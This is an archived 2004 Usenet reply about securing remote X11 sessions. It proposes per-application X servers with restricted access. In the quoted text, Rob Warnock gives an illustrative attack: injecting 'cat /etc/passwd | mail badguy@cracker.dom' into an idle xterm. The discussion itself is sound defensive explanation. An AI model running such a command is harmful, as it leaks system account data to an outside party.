Re: Ye Old Time Sharing System

From: Tim Bradshaw (tfb+google_at_tfeb.org)
Date: 03/24/04 

Date: 24 Mar 2004 03:01:39 -0800

rpw3@rpw3.org (Rob Warnock) wrote in message news:<CEKdnRscI-V7of3d3czS-g@speakeasy.net>...
>
> And security, which is almost impossible to get around unless *you*
> securely own both ends of the connection. That is, any host that you
> allow unrestricted connections to your local X server can sniff keystrokes
> (including passwords), insert events into other windows ("Hmmm... there's
> an xterm that's currently iconified and not doing anything. Let's get it
> to do a 'cat /etc/passwd | mail badguy@cracker.dom'"), and other nasty
> stuff.

I think that the right approach to that, since most clients won't be
running X servers for day-to-day life (they're Windows machines in
other words) would be to have some kind of thing where each
application you want to run remotely has its own little X server on
top of which it runs one huge window. Or alternatively it has its own
X server but does one of these clever `rootless' things such that its
possibly-multiple X windows just sit on the native desktop. I think
XFree86 on cygwin can do this now, for instance, and things like
exceed have been able to do it for ever.

Having a per-application server sounds extravagant, but an X server is
probably actually quite small by today's standards, and much of its
memory can probably be shared anyway. You can then ruthlessly
restrict what access this thing has to the native machine.

--tim

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